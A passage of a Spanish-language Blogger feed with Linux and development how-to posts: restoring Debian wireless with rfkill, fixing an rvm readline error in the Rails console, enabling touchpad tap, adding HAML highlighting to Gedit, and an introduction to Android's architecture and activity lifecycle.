src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4015992075117637582</id><published>2011-05-24T21:34:00.000-07:00</published><updated>2011-05-28T07:39:58.744-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Debian Wheezy sin interfaz inalámbrica luego de un safe-upgrade</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Me ocurrió hace unos días que actualicé mi Debian y repentinamente me quedé sin conexión inalámbrica. Uso Debian Testing (Wheezy para la fecha) en una HP Pavilion dv2000 y la tarjeta de red inalámbrica es una Intel PRO/Wireless 4965 AG.&lt;br /&gt;&lt;br /&gt;Leyendo y leyendo diferentes manuales todos afirmaban que con solo instalar el paquete firmware-iwlwifi del repo non-free la cosa funcionaba a la perfección y me constaba porque así lo había hecho en un principio. Sin embargo, luego de actualizar no anduvo más y lo curioso es que el &lt;b&gt;lspci&lt;/b&gt; me devolvía señales de vida:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;07:00.0 Network controller: Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] Network Connection (rev 61)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El paquete en efecto estaba instalado:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ aptitude search iwl | grep ^i&lt;br /&gt;i   firmware-iwlwifi                - Binary firmware for Intel Wireless 3945, 4&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El &lt;b&gt;lsmod&lt;/b&gt; me mostraba los módulos cargados y todo estaba bien:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;$ lsmod | grep iwl&lt;br /&gt;iwlagn                122417  0 &lt;br /&gt;iwlcore                50368  1 iwlagn&lt;br /&gt;mac80211              160285  2 iwlagn,iwlcore&lt;br /&gt;cfg80211              106889  3 iwlagn,iwlcore,mac80211&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Incluso, los binarios del firmware también parecían estar en orden:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# find / -name "*ucode*"&lt;br /&gt;/sys/module/iwlagn/parameters/ucode_alternative&lt;br /&gt;/lib/firmware/iwlwifi-6050-5.ucode&lt;br /&gt;/lib/firmware/iwlwifi-3945-2.ucode&lt;br /&gt;/lib/firmware/iwlwifi-6000g2b-5.ucode&lt;br /&gt;/lib/firmware/iwlwifi-5000-5.ucode&lt;br /&gt;/lib/firmware/iwlwifi-5000-1.ucode&lt;br /&gt;/lib/firmware/iwlwifi-4965-2.ucode&lt;br /&gt;/lib/firmware/iwlwifi-5000-2.ucode&lt;br /&gt;/lib/firmware/iwlwifi-4965-1.ucode&lt;br /&gt;/lib/firmware/iwlwifi-6000-4.ucode&lt;br /&gt;/lib/firmware/iwlwifi-6000g2a-5.ucode&lt;br /&gt;/lib/firmware/iwlwifi-1000-3.ucode&lt;br /&gt;/lib/firmware/iwlwifi-6050-4.ucode&lt;br /&gt;/lib/firmware/iwlwifi-3945-1.ucode&lt;br /&gt;/lib/firmware/iwlwifi-5150-2.ucode&lt;br /&gt;/lib/firmware/iwlwifi-100-5.ucode&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego intento ver el log del kernel y me encuentro con algo que me dio algunas pistas:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;# tail -f /var/log/syslog&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.119061] iwlagn: Intel(R) Wireless WiFi Link AGN driver for Linux, in-tree:&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.119064] iwlagn: Copyright(c) 2003-2010 Intel Corporation&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.119140] iwlagn 0000:07:00.0: PCI INT A -&gt; GSI 19 (level, low) -&gt; IRQ 19&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.119153] iwlagn 0000:07:00.0: setting latency timer to 64&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.119187] iwlagn 0000:07:00.0: Detected Intel(R) Wireless WiFi Link 4965AGN, REV=0x4&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.157779] iwlagn 0000:07:00.0: device EEPROM VER=0x36, CALIB=0x5&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.157782] iwlagn 0000:07:00.0: Device SKU: 0Xb&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.157979] iwlagn 0000:07:00.0: Tunable channels: 11 802.11bg, 13 802.11a channels&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.158062] iwlagn 0000:07:00.0: irq 46 for MSI/MSI-X&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; found WiFi radio killswitch rfkill4 (at /sys/devices/pci0000:00/0000:00:1c.3/0000:07:00.0/ieee80211/phy2/rfkill4) (driver &lt;unknown&gt;)&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.161805] iwlagn 0000:07:00.0: loaded firmware version 228.61.2.24&lt;br /&gt;May 24 23:03:31 mpn82 kernel: [ 6214.162128] ieee80211 phy2: Selected rate control algorithm 'iwl-agn-rs'&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]:    SCPlugin-Ifupdown: devices added (path: /sys/devices/pci0000:00/0000:00:1c.3/0000:07:00.0/net/wlan0, iface: wlan0)&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]:    SCPlugin-Ifupdown: device added (path: /sys/devices/pci0000:00/0000:00:1c.3/0000:07:00.0/net/wlan0, iface: wlan0): no ifupdown configuration found.&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): driver supports SSID scans (scan_capa 0x01).&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): new 802.11 WiFi device (driver: 'iwlagn' ifindex: 6)&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): exported as /org/freedesktop/NetworkManager/Devices/3&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): now managed&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): device state change: 1 -&gt; 2 (reason 2)&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): bringing up device.&lt;br /&gt;May 24 23:03:31 mpn82 NetworkManager[1140]: &lt;info&gt; (wlan0): deactivating device (reason: 2).&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;1.- El firmware se estaba cargando con la versión más actualizada según la &lt;a href="http://intellinuxwireless.org/?n=downloads&amp;f=ucodes_6000"&gt;página de Intel&lt;/a&gt;&lt;br /&gt;&lt;code&gt;May 24 23:03:31 mpn82 kernel: [ 6214.161805] iwlagn 0000:07:00.0: loaded firmware version 228.61.2.24&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;2.- Por alguna razón la interfaz se estaba apagando luego que cargaba el NetworkManager&lt;br /&gt;&lt;br /&gt;Decidí buscar un poco en internet y me conseguí con este &lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=595931"&gt;reporte de bug en Red Hat&lt;/a&gt; que involucraba al NetworkManager, la interfaz wireless y un mensaje de error muy similar al mío.&lt;br /&gt;&lt;br /&gt;Probé entonces con:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;# rfkill list&lt;br /&gt;0: hp-wifi: Wireless LAN&lt;br /&gt; Soft blocked: yes&lt;br /&gt; Hard blocked: no&lt;br /&gt;2: hp-bluetooth: Bluetooth&lt;br /&gt; Soft blocked: yes&lt;br /&gt; Hard blocked: no&lt;br /&gt;4: phy2: Wireless LAN&lt;br /&gt; Soft blocked: yes&lt;br /&gt; Hard blocked: yes&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Jum... phy2 y hp-wifi bloqueados por software, adicionalmente phy2 bloqueado por hardware. Raro, raro.&lt;br /&gt;&lt;br /&gt;Hago un:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# rfkill unblock 0 &amp;&amp; rfkill unblock 4&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y voilá, volvió a enceder el led de la interfaz inalámbrica e inmediatamente se conectó a internet :D&lt;br /&gt;&lt;br /&gt;Cosas tontas pero que te salvan la vida. Espero que les sea de utilidad&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4015992075117637582?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4015992075117637582/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4015992075117637582&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4015992075117637582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4015992075117637582'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/05/debian-wheezy-sin-interfaz-inalambrica.html' title='Debian Wheezy sin interfaz inalámbrica luego de un safe-upgrade'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3655889262094706106</id><published>2011-05-02T10:15:00.000-07:00</published><updated>2011-05-02T10:23:35.329-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>LoadError con el readline al intentar abrir una consola de Rails usando rvm</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Si usando rvm, intentas abrir una consola de Rails (con &lt;strong&gt;rails c&lt;/strong&gt; o con &lt;strong&gt;script/console&lt;/strong&gt;) y te escupe un error como este:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;no such file to load -- readline (LoadError)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Entonces sigue estos pasos y resolverás el problema.&lt;br /&gt;&lt;br /&gt;Primero, debemos instalar el paquete del readline en rvm (y no en el Sistema Operativo). Para eso removemos la versión actual de Ruby que podamos tener:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm remove 1.8.7&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos el paquete readline:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm install package&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;E instalamos Ruby pero indicándole la ubicación del paquete readline:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ rvm install 1.8.7 --with-readline-dir=$rvm_path/usr&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Acto seguido, entramos a la carpeta en donde rvm almacena los fuentes de las extensiones de Ruby, específicamente del readline. En mi caso:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ cd ~/.rvm/src/ruby-1.8.7-p302/ext/readline &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego (como root) instalamos las dependencias necesarias. En Debian sería:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude update&lt;br /&gt;# aptitude install libreadline5-dev&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Procedemos (como usuario) a compilar e instalar la extensión en cuestión:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ruby extconf.rb&lt;br /&gt;$ make&lt;br /&gt;$ make install&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y con eso ya deberíamos disfrutar nuevamente de la consola interactiva de Rails sin problemas.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3655889262094706106?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3655889262094706106/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3655889262094706106&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3655889262094706106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3655889262094706106'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/05/loaderror-con-el-readline-al-intentar.html' title='LoadError con el readline al intentar abrir una consola de Rails usando rvm'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1663409157943263190</id><published>2011-04-22T07:43:00.000-07:00</published><updated>2011-04-22T07:43:54.451-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Habilitar la función de "tap" en un TouchPad</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En estos días estaba usando mi netbook y me di cuenta que al hacer tap sobre el touchpad no se ejecutaba el click del ratón y no fue hasta hoy que me digné a buscar la solución. Es tan simple como agregar una línea en un archivo de texto.&lt;br /&gt;&lt;br /&gt;Buscamos el archivo &lt;strong&gt;/etc/modprobe.d/options.conf&lt;/strong&gt;, si no existe lo creamos y copiamos la siguiente línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;options psmouse proto=imps&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego hacemos (como root):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# modprobe -r psmouse&lt;br /&gt;# modprobe psmouse proto=imps&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y a disfrutar del tap xD&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1663409157943263190?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1663409157943263190/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1663409157943263190&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1663409157943263190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1663409157943263190'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/04/habilitar-la-funcion-de-tap-en-un.html' title='Habilitar la función de &quot;tap&quot; en un TouchPad'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1998362735487681297</id><published>2011-02-28T06:29:00.000-08:00</published><updated>2011-02-28T06:29:10.775-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Editores'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Resaltado de sintaxis HAML en Gedit</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Trabajando con Ruby On Rails me ha tocado escribir código usando &lt;a href="http://haml-lang.com/"&gt;HAML&lt;/a&gt;. Particularmente no me agrada mucho (entre otras cosas porque no tiene soporte multilínea, porque no identa correctamente las cadenas de texto plano, porque agrega otra capa más de interpretación a la aplicación, etc) pero cuando toca usarlo es bueno hacerlo con un buen soporte. Y cuando hablo de soporte me refiero al resaltado de sintaxis.&lt;br /&gt;&lt;br /&gt;Para escribir código usualmente uso un editor de texto (Gedit o Geany), así que en ésta receta explicaré como agregar soporte para el resaltado de sintaxis en Gedit.&lt;br /&gt;&lt;br /&gt;Primero agregamos soporte para que las extensiones usadas comúnmente en Rails sean reconocidas por el sistema. Abrimos una terminal y escribimos:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;wget http://dl.dropbox.com/u/16349833/rails.xml &lt;br /&gt;sudo cp rails.xml /usr/share/mime/packages/rails.xml &lt;br /&gt;sudo update-mime-database /usr/share/mime&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Luego agregamos los archivos de definición de sintaxis en la carpeta del sourceview de GTK ejecutando:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;wget http://dl.dropbox.com/u/16349833/gedit_rails_syntax.zip&lt;br /&gt;sudo unzip gedit_rails_syntax.zip -d /usr/share/gtksourceview-2.0/language-specs&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora con nuestro editor de texto favorito (y como root) abrimos el archivo &lt;strong&gt;/usr/share/gtksourceview-2.0/language-specs/ruby.lang&lt;/strong&gt; para modificar el sourceview de GTK y agregar soporte para nuevas extensiones. Buscamos la línea:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;property name="globs"&gt;*.rb&lt;/property&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;Y la cambiamos por:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;property name="globs"&gt;*.rb;*.rake;*.rjs&lt;/property&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;Por último, abrimos el archivo &lt;strong&gt;/usr/share/gtksourceview-2.0/language-specs/html.lang&lt;/strong&gt; y buscamos la línea que dice:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;property name="globs"&gt;*..html;*.htm&lt;/property&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;Y la cambiamos por:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;property name="globs"&gt;*.html;*.htm;*.erb;*.rhtml&lt;/property&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;Cerramos todas las instancias de Gedit y al abrir de nuevo ya nuestro código HAML debería verse resaltado.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-_vQkWFqDf5Q/TWuwoMRtFuI/AAAAAAAAAaw/CwSsl9aA-lQ/s1600/gedit-haml.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="227" width="320" src="http://3.bp.blogspot.com/-_vQkWFqDf5Q/TWuwoMRtFuI/AAAAAAAAAaw/CwSsl9aA-lQ/s320/gedit-haml.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Existen recetas que instalan una serie de plugins (con soporte para haml, rjs, etc) y te dejan al Gedit como TextMate, pero como no me gusta TextMate entonces prefiero hacerlo a patica xD&lt;br /&gt;&lt;br /&gt;Espero que la receta les haya servido de ayuda.&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;a href="http://groups.google.com/group/haml/browse_thread/thread/6c8babd81a46b6b8/b5100d80d9182c71?pli=1"&gt;http://groups.google.com/group/haml/browse_thread/thread/6c8babd81a46b6b8/b5100d80d9182c71?pli=1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blog.adsdevshop.com/2008/04/19/erb-syntax-highlighting-in-gedit/"&gt;http://blog.adsdevshop.com/2008/04/19/erb-syntax-highlighting-in-gedit/&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1998362735487681297?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1998362735487681297/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1998362735487681297&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1998362735487681297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1998362735487681297'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2011/02/resaltado-de-sintaxis-haml-en-gedit.html' title='Resaltado de sintaxis HAML en Gedit'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-_vQkWFqDf5Q/TWuwoMRtFuI/AAAAAAAAAaw/CwSsl9aA-lQ/s72-c/gedit-haml.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-143604603396367042</id><published>2010-12-21T15:42:00.000-08:00</published><updated>2010-12-21T15:42:36.342-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>¿Cómo desarrollar para Android? - Parte II</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En la &lt;a href="http://damncorner.blogspot.com/2010/11/como-desarrollar-para-android-parte-i.html"&gt;entrega anterior&lt;/a&gt; expliqué como instalar el ambiente de desarrollo para trabajar con Android. Ahora explicaré algunos fundamentos necesarios para poder entrar en calor.&lt;br /&gt;&lt;br /&gt;Podemos decir que Android está compuesto por varias capas (muy al estilo del modelo &lt;a href="http://es.wikipedia.org/wiki/Modelo_OSI"&gt;OSI&lt;/a&gt;).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://developer.android.com/images/system-architecture.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="432" width="600" src="http://developer.android.com/images/system-architecture.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Esas capas las podemos diferenciar en 5 grupos:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Capa 1 - Kernel:&lt;/b&gt; La base de Android es sólida como una roca. Claro, esa base es el kernel Linux. Android usa Linux para manejar todo lo relacionado con el hardware (drivers), gestionar la memoria, los procesos y muchas otras tareas operativas. Sin embargo nuestra aplicación nunca tocará el kernel.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Capa 2 - Librerías nativas:&lt;/b&gt; La siguiente capa que se ubica por encima del kernel son las librerías nativas. Allí tenemos una serie de herramientas que vienen precompiladas por el fabricante y que nos permiten manejar desde renderizado web hasta bases de datos.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Capa 3 - Núcleo:&lt;/b&gt; Sobre ésta capa tenemos el núcleo de Android. Allí reside la máquina virtual Dalvik y las librerías de la plataforma.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Capa 4 - Framework para aplicaciones:&lt;/b&gt; Más arriba está el conjunto de herramientas que nos permite crear y manejar las aplicaciones, notificaciones, recursos y muchas otras cosas.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Capa 5 - Aplicaciones:&lt;/b&gt; Y por último tenemos la capa de aplicaciones, aquí es donde se encuentran los widgets y todas las aplicaciones que tienen contacto con el usuario.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Ya conocemos un poco mejor la arquitectura de Android, ahora veamos con qué contamos para desarrollar. Parte del framework para aplicaciones son los componentes. Estuadiaremos los más importantes por el momento, ellos son:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Activities:&lt;/b&gt; Los activities (o actividades) son las interfaces que permiten al usuario interactuar con la aplicación. Generalmente una aplicación está compuesta de muchas actividades. Una actividad puede ser mostrar la lista de contactos y otra puede ser enviar mensajes de texto&lt;/li&gt;&lt;li&gt;&lt;b&gt;Intents:&lt;/b&gt; Un intent (o como se diría en español, una "intención") no es más que una acción. En Android todas las acciones se manejan con intenciones ;)&lt;/li&gt;&lt;li&gt;&lt;b&gt;Services:&lt;/b&gt; Es una tarea que se ejecuta en segundo plano, sin interfaz gráfica y sin interacción directa con el usuario. Podemos pensar en el ejemplo típico: un reproductor de música. A todos nos gusta que la música siga sonando incluso si dejamos de ver el reprouctor para pasarnos al navegador web. Eso es un servicio&lt;/li&gt;&lt;li&gt;&lt;b&gt;Content Providers:&lt;/b&gt; Es un contenedor que permite agrupar un conjunto de datos de una aplicación y ponerlos a disposición de otras aplicaciones. Podemos verlo como una manera de compartir información global entre aplicaciones&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Por último vamos a mencionar las fases del ciclo de vida de una aplicación.&lt;br /&gt;&lt;br /&gt;Lo primero que debemos entender es que (a diferencia de un sistema operativo de escritorio) en Android una aplicación no está casada con un proceso. En Android existe una sola aplicación que obtiene el foco y se presenta frente al usuario. Mientras ésta aplicación se encuentra en el frente, las demás aplicaciones entran en estados de pausa, detención o incluso, si la memoria es escasa, Android puede llegar a cerrarlas para liberar recursos y sin estar mediando muchas palabras.&lt;br /&gt;&lt;br /&gt;Pero no se asusten, si la aplicación es "asesinada" por Android su estado se almacena para que pueda recuperarse cuando el usuario la ejecute nuevamente. Es en este ínterin de cerrar y abrir aplicaciones en que se liberan los procesos. Debemos ver a un proceso como un simple contenedor desechable para las aplicaciones, no más. Siempre ten presente éste comportamiento al momento de diseñar tus aplicaciones.&lt;br /&gt;&lt;br /&gt;El ciclo de vida de una aplicación lo podemos ver en la siguiente imagen.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://developer.android.com/images/activity_lifecycle.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="711" width="545" src="http://developer.android.com/images/activity_lifecycle.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A continuación describo brevemente cada una de sus fases:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;onCreate():&lt;/b&gt; Se ejecuta la primera vez que la aplicación se muestra. Aquí se pueden realizar toda la inicialización estática (conexiones a bases de datos, creación de interfaces, etc). Recibe un parámetro que puede contener el estado anterior de la aplicación (si fue almacenado correctamente)&lt;/li&gt;&lt;li&gt;&lt;b&gt;onStart():&lt;/b&gt; Se ejecuta justo antes de que la aplicación se haga visible al usuario&lt;/li&gt;&lt;li&gt;&lt;b&gt;onRestart():&lt;/b&gt; Llamado justo después que la aplicación ha sido detenida. Justo antes de comenzar de nuevo&lt;/li&gt;&lt;li&gt;&lt;b&gt;onResume():&lt;/b&gt; Se llamará cuando la aplicación esté lista para interactuar con el usuario. Acá se pueden inicializar cosas como música y animaciones&lt;/li&gt;&lt;li&gt;&lt;b&gt;onPause():&lt;/b&gt; Se ejecuta justo antes de que la aplicación pase a segundo plano porque otra aplicación ha sido ejecutada. Este método puede ser lo último que vea tu aplicación antes de morir, pues Android puede matar una aplicación pausado sin previo aviso. Es por eso que este es un buen lugar para guardar el estado de tu aplicación.&lt;/li&gt;&lt;li&gt;&lt;b&gt;onStop():&lt;/b&gt; Es llamado cuando la aplicación ya no es visible al usuario y no se necesitará por un rato. Tal como se indicó en el punto anterior, este método es posible que ni siquiera se ejecute&lt;/li&gt;&lt;li&gt;&lt;b&gt;onDestroy():&lt;/b&gt; Se llama justo después que la aplicación es destruida. Acá debes hacer el sepelio y esas cosas. Tal como se indicó en el punto anterior, este método es posible que ni siquiera se ejecute&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Con toda ésta base teórica podemos decir que estamos listos para empezar a escribir el código de nuestra primera aplicación. Ese será el tema de la próxima entrega.&lt;br /&gt;&lt;br /&gt;Para más información sobre éste tema puedes consultar la &lt;a href="http://developer.android.com/guide/topics/fundamentals.html"&gt;documentación oficial de Android&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://damncorner.blogspot.com/2010/11/como-desarrollar-para-android-parte-i.html"&gt;¿Cómo desarrollar para Android? - Parte I&lt;/a&gt;&lt;br /&gt;&lt;br 